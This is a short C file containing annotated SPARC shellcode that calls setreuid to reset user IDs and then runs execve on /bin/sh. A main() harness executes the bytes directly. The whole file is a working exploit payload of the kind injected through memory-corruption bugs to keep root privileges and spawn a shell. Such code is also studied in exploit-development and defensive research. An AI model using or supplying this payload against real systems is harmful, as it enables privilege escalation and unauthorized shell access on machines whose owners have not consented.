/* * lhall@telegenetic.net * setreuid shellcode * full description of how it was done and defines at * http://www.telegenetic.net/sparc-shellcode.htm */ char shellcode[] = "\x90\x1A\x40\x09" /* xor %o1, %o1, %o0 */ "\x92\x1A\x40\x09" /* xor %o1, %o1, %o1 */ "\x82\x10\x20\xCA" /* mov SYS_SETREUID(202), %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL(0x08) */ "\x21\x0B\xD8\x9A" /* sethi %hi(0x2f626900), %l0 */ "\xA0\x14\x21\x6E" /* or %l0, %lo(0x16e), %l0 */ "\x23\x0B\xDC\xDA" /* sethi %hi(0x2f736800), %l1 */ "\xE0\x3B\xBF\xF0" /* std %l0, [%sp - 0x10] */ "\x90\x23\xA0\x10" /* sub %sp, 0x10, %o0 */ "\xD0\x23\xBF\xF8" /* st %o0, [%sp - 0x8] */ "\x92\x23\xA0\x08" /* sub %sp, 0x8, %o1 */ "\x94\x1A\x80\x0A" /* xor %o2, %o2, %o2 */ "\x82\x10\x20\x3B" /* mov SYS_EXECVE(59), %g1 */ "\x91\xD0\x20\x08"; /* ta KERNEL(0x08) */ int main (int argc, char **argv) { int (*ret)(); ret = (int(*)())shellcode; (int)(*ret)(); exit(0); }